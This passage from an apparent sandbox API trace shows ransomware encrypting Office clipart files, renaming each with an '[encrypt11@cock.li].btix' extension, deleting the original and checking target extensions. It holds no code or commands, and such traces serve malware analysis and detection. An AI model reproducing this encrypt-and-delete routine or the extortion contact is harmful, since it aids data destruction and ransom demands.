office\\root\\clipart\\pub60cor\\hh02312_.wmf")) returned 0x220 [0133.458] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0133.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0133.459] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0133.459] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0133.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0133.459] GetLastError () returned 0x0 [0133.459] ReadFile (in: hFile=0x430, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x136a, lpOverlapped=0x0) returned 1 [0133.510] WriteFile (in: hFile=0x4c0, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0x1370, lpOverlapped=0x0) returned 1 [0133.511] ReadFile (in: hFile=0x430, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0133.511] WriteFile (in: hFile=0x4c0, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0133.511] SetEndOfFile (hFile=0x4c0) returned 1 [0133.511] CloseHandle (hObject=0x4c0) returned 1 [0133.511] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0133.511] SetEndOfFile (hFile=0x430) returned 1 [0133.514] CloseHandle (hObject=0x430) returned 1 [0133.514] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0133.514] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf")) returned 1 [0133.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0133.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0133.515] lstrlenW (lpString=".doc") returned 4 [0133.515] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0133.515] lstrlenW (lpString=".docx") returned 5 [0133.515] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0133.515] lstrlenW (lpString=".pdf") returned 4 [0133.515] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0133.515] lstrlenW (lpString=".xls") returned 4 [0133.515] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0133.515] lstrlenW (lpString=".xlsx") returned 5 [0133.515] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0133.515] lstrlenW (lpString=".ppt") returned 4 [0133.515] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0133.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0133.515] lstrlenW (lpString=".zip") returned 4 [0133.515] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0133.515] lstrlenW (lpString=".rar") returned 4 [0133.515] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0133.515] lstrlenW (lpString=".bz2") returned 4 [0133.515] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0133.515] lstrlenW (lpString=".7z") returned 3 [0133.515] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0133.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0133.515] lstrlenW (lpString=".dbf") returned 4 [0133.515] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0133.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0133.515] lstrlenW (lpString=".1cd") returned 4 [0133.516] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0133.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0133.516] lstrlenW (lpString=".jpg") returned 4 [0133.516] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0133.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0133.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0133.516] lstrlenW (lpString=".doc") returned 4 [0133.516] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0133.516] lstrlenW (lpString=".docx") returned 5 [0133.516] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0133.516] lstrlenW (lpString=".pdf") returned 4 [0133.516] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0133.516] lstrlenW (lpString=".xls") returned 4 [0133.516] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0133.516] lstrlenW (lpString=".xlsx") returned 5 [0133.516] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0133.516] lstrlenW (lpString=".ppt") returned 4 [0133.516] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0133.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0133.516] lstrlenW (lpString=".zip") returned 4 [0133.516] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0133.516] lstrlenW (lpString=".rar") returned 4 [0133.516] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0133.516] lstrlenW (lpString=".bz2") returned 4 [0133.516] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0133.516] lstrlenW (lpString=".7z") returned 3 [0133.516] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0133.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0133.516] lstrlenW (lpString=".dbf") returned 4 [0133.516] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0133.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0133.516] lstrlenW (lpString=".1cd") returned 4 [0133.516] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0133.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0133.516] lstrlenW (lpString=".jpg") returned 4 [0133.516] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0133.517] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0133.517] lstrlenW (lpString="HH02313_.WMF") returned 12 [0133.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0133.517] GetFileSizeEx (in: hFile=0x430, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=3082) returned 1 [0133.517] CloseHandle (hObject=0x430) returned 1 [0133.517] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf")) returned 0x220 [0133.517] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0133.518] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0133.518] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0133.518] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0133.518] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0133.518] GetLastError () returned 0x0 [0133.518] ReadFile (in: hFile=0x430, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0xc0a, lpOverlapped=0x0) returned 1 [0133.550] WriteFile (in: hFile=0x4c0, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xc10, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xc10, lpOverlapped=0x0) returned 1 [0133.551] ReadFile (in: hFile=0x430, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0133.551] WriteFile (in: hFile=0x4c0, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0133.551] SetEndOfFile (hFile=0x4c0) returned 1 [0133.886] CloseHandle (hObject=0x4c0) returned 1 [0133.909] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0133.909] SetEndOfFile (hFile=0x430) returned 1 [0133.911] CloseHandle (hObject=0x430) returned 1 [0133.911] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0133.911] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf")) returned 1 [0133.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0133.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0133.912] lstrlenW (lpString=".doc") returned 4 [0133.912] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0133.912] lstrlenW (lpString=".docx") returned 5 [0133.912] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0133.912] lstrlenW (lpString=".pdf") returned 4 [0133.912] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0133.912] lstrlenW (lpString=".xls") returned 4 [0133.912] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0133.912] lstrlenW (lpString=".xlsx") returned 5 [0133.912] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0133.912] lstrlenW (lpString=".ppt") returned 4 [0133.912] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0133.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0133.912] lstrlenW (lpString=".zip") returned 4 [0133.912] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0133.912] lstrlenW (lpString=".rar") returned 4 [0133.912] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0133.912] lstrlenW (lpString=".bz2") returned 4 [0133.912] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0133.912] lstrlenW (lpString=".7z") returned 3 [0133.912] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0133.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0133.913] lstrlenW (lpString=".dbf") returned 4 [0133.913] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0133.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0133.913] lstrlenW (lpString=".1cd") returned 4 [0133.913] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0133.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0133.913] lstrlenW (lpString=".jpg") returned 4 [0133.913] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0133.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0133.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0133.913] lstrlenW (lpString=".doc") returned 4 [0133.913] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0133.913] lstrlenW (lpString=".docx") returned 5 [0133.913] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0133.913] lstrlenW (lpString=".pdf") returned 4 [0133.913] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0133.913] lstrlenW (lpString=".xls") returned 4 [0133.913] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0133.913] lstrlenW (lpString=".xlsx") returned 5 [0133.913] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0133.913] lstrlenW (lpString=".ppt") returned 4 [0133.913] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0133.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0133.913] lstrlenW (lpString=".zip") returned 4 [0133.913] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0133.913] lstrlenW (lpString=".rar") returned 4 [0133.913] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0133.914] lstrlenW (lpString=".bz2") returned 4 [0133.914] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0133.914] lstrlenW (lpString=".7z") returned 3 [0133.914] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0133.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0133.914] lstrlenW (lpString=".dbf") returned 4 [0133.914] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0133.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0133.914] lstrlenW (lpString=".1cd") returned 4 [0133.914] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0133.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0133.914] lstrlenW (lpString=".jpg") returned 4 [0133.914] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0133.967] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0133.968] lstrlenW (lpString="HM00116_.WMF") returned 12 [0133.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0133.968] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=15852) returned 1 [0133.968] CloseHandle (hObject=0x4b4) returned 1 [0133.968] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf")) returned 0x220 [0133.968] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0133.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0133.969] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0133.969] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0133.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0133.969] GetLastError () returned 0x0 [0133.969] ReadFile (in: hFile=0x4b4, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x3dec, lpOverlapped=0x0) returned 1 [0134.216] WriteFile (in: hFile=0x548, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0x3df0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0x3df0, lpOverlapped=0x0) returned 1 [0134.217] ReadFile (in: hFile=0x4b4, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0134.217] WriteFile (in: hFile=0x548, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0134.217] SetEndOfFile (hFile=0x548) returned 1 [0134.217] CloseHandle (hObject=0x548) returned 1 [0134.217] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.217] SetEndOfFile (hFile=0x4b4) returned 1 [0134.232] CloseHandle (hObject=0x4b4) returned 1 [0134.232] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0134.243] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf")) returned 1 [0134.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0134.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0134.248] lstrlenW (lpString=".doc") returned 4 [0134.248] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.248] lstrlenW (lpString=".docx") returned 5 [0134.248] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.249] lstrlenW (lpString=".pdf") returned 4 [0134.249] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.249] lstrlenW (lpString=".xls") returned 4 [0134.249] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.249] lstrlenW (lpString=".xlsx") returned 5 [0134.249] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.249] lstrlenW (lpString=".ppt") returned 4 [0134.249] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0134.249] lstrlenW (lpString=".zip") returned 4 [0134.249] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.249] lstrlenW (lpString=".rar") returned 4 [0134.249] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.249] lstrlenW (lpString=".bz2") returned 4 [0134.249] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.249] lstrlenW (lpString=".7z") returned 3 [0134.249] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0134.249] lstrlenW (lpString=".dbf") returned 4 [0134.249] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0134.249] lstrlenW (lpString=".1cd") returned 4 [0134.249] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0134.249] lstrlenW (lpString=".jpg") returned 4 [0134.249] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0134.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0134.249] lstrlenW (lpString=".doc") returned 4 [0134.249] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.250] lstrlenW (lpString=".docx") returned 5 [0134.250] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.250] lstrlenW (lpString=".pdf") returned 4 [0134.250] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.250] lstrlenW (lpString=".xls") returned 4 [0134.250] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.250] lstrlenW (lpString=".xlsx") returned 5 [0134.250] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.250] lstrlenW (lpString=".ppt") returned 4 [0134.250] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0134.250] lstrlenW (lpString=".zip") returned 4 [0134.250] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.250] lstrlenW (lpString=".rar") returned 4 [0134.250] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.250] lstrlenW (lpString=".bz2") returned 4 [0134.250] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.250] lstrlenW (lpString=".7z") returned 3 [0134.250] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0134.250] lstrlenW (lpString=".dbf") returned 4 [0134.250] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0134.250] lstrlenW (lpString=".1cd") returned 4 [0134.251] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0134.251] lstrlenW (lpString=".jpg") returned 4 [0134.251] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.251] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0134.251] lstrlenW (lpString="IN00046_.WMF") returned 12 [0134.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0134.258] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=1158) returned 1 [0134.258] CloseHandle (hObject=0x4a8) returned 1 [0134.258] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf")) returned 0x220 [0134.590] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0134.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 